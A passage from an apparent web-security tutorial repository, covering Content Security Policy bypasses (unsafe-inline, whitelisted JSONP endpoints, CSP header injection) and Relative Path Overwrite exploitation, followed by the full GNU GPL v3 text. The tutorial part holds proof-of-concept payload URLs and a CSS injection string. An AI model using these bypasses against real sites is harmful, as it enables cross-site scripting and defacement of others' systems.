| - script-src 'unsafe-inline' 'unsafe-eval' 'self' data :https://www.google.com http://www.google-analytics.com/gtm/js https://*.gstatic.com/feedback/https://accounts.google.com : Here we have the policy script-src which we know is used to define where we can load javascript files from. Normally things like ``` ``` would be blocked but due to the value ‘unsafe-inline’ this will execute. 143 | 144 | There are few other techniques which can be used to bypass the CSP 145 | 146 | ### 5.3 JSONP CSP Bypass 147 | - JSONP is a way to bypass the same object policy 148 | (SOP). 149 | - A JSONP endpoint lets you insert a javascript payload , normally in a GET parameter called “callback” and the endpoint will then return your payload back to you with the content type of JSON allowing it to bypass the SOP. 150 | - Basically we can use the JSONP endpoint to serve up our javascript payload. 151 | - You can find an example below 152 | - https://accounts.google.com/o/oauth2/revoke?callback=alert(1337) 153 |  154 | - The danger comes in when a CSP header has one of these endpoints whitelisted in the script-src policy. This would mean we could load our malicious javascript via the JSONP endpoint bypassing the CSP policy. Look at the following CSP header: 155 | - script-src https://www.google.com http://www.google-analytics.com/gtm/js https://*.gstatic.com/feedback/ https://accounts.google.com ; 156 | - The following would get blocked by the CSP: 157 | - http://something.example.com/?vuln_param=javascript:alert(1) ; 158 | - What if we tried the following: 159 | - http://something.example.com/?vuln_param=https://accounts.google.com/o/oauth2/revoke?callback=alert(1337) 160 | - This would pass because accounts.google.com is allowed to load javascript files ccording to the CSP header. We then abuse the JSONP feature to load our malicious javascript. 161 | 162 | ### 5.4 CSP Injection Bypass 163 | - The third type of CSP bypass is called CSP injection. This occurs when user supplied input is reflected in the CSP header. 164 | - Suppose you have the following url: 165 | - http://example.com/?vuln=something_vuln_csp 166 | - If your input is reflected in the CSP header you should have something like this: 167 | ``` 168 | script-src something_vuln_csp; 169 | object-src 'none'; 170 | base-uri 'none'; 171 | require-trusted-types-for 'script'; 172 | report-uri https://csp.example.com ; 173 | ``` 174 | - This means we can control what value the script-src value is set to. We can easily bypass the CSP by setting this value to a domain we control. 175 | 176 | 177 | 178 | ## 6. Relative Path Overwrite (RPO) 179 | It is an older lesser known vulnerability, which can be used for XSS or extracting sensitive data but the vast majority of the cases can only be exploited for web 180 | defacement. 181 | - It is an interesting Vulnerability bcoz, only few people know how to exploit this bug. 182 | 183 | ### 6.1 RPO 184 | - First you need to find a page that reflects the current url, path, or referrer header in the response. 185 | - Secondly you need the page to be missing the “DOCTYPE” tag to enable quirks mode. 186 | - Third, you need the endpoint to have a wild card path so “example.com/vuln.php” is the same as “example.com/vuln.php/somthing/”. 187 | - Finally you need to find if there are any style sheets being imported using a relative path. 188 | - If all these requirements are met you can probably exploit the RPO vulnerability. 189 |  190 | 191 | To understand RPO you first thing you need to learn about is how browsers use pathrelative links to load content. 192 | ``` 193 | 194 | ``` 195 | ``` 196 | 197 | ``` 198 | ``` 199 | 200 | ``` 201 | 202 | - As you can see above there are a few ways an application can load the CSS file “style.css”. 203 | - The first example uses an absolute link which is the full path to the CSS file. 204 | - The second example starts at the root of the web directory and looks for the “style.css” file there. 205 | - Finally the last example uses a relative path so it will look at the current directory for the “style.css” file, if the url is “example.com/test/” it will look for the CSS file at “/test/style.css”. 206 | 207 | Quirks Mode : Quirks mode was designed to 208 | gracefully handle the poorly coded websites which was fairly common back in the day. If quirks mode is enabled the browser will ignore the “content-type” of a file when processing it. So if we pass an HTML file to a link tag it will still parse the HTML file as if it's a CSS file. If Quirks mode is disabled the browser would block this action. 209 | 210 | - Examine the Vulnerable Code: 211 | 212 |  213 | 214 | - Look at the above image we can clearly see the “path” variable is concatenated with the output but normally you don't have access to the source so you will need to manually verify this as shown below. 215 |  216 | - Above you can clearly see the “okay/” path displayed on the page. We can also see the “document type” tag is missing from the HTML source so we know the page is running in quirks mode. Next we need to figure out if “/home/okay/” resolves to the same page as “/home” which it does. 217 |  218 | - As shown above when we change the URL to “/home/okay/” the “Link” tag tries to import its stylesheet from “/home/okay.style.css” this is because the Link tag is using a relative path. Also notice how the style sheet resolves to the same HTML source as “/home”. This is because there is a wild card path after “/home” which causes any path after “/home” to resolve to “/home”. 219 | - The last step is to actually launch the exploit to see if it works. Since the Link tag is accepting the HTML output as CSS and user controlled input is reflected in that output an attacker could inject CSS commands causing the page to execute them. 220 | - %0A{}*{color:red;}/// 221 |  222 | - As you can see above we injected CSS code to turn the font red so we now know the target is vulnerable. 223 | 224 | 225 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------
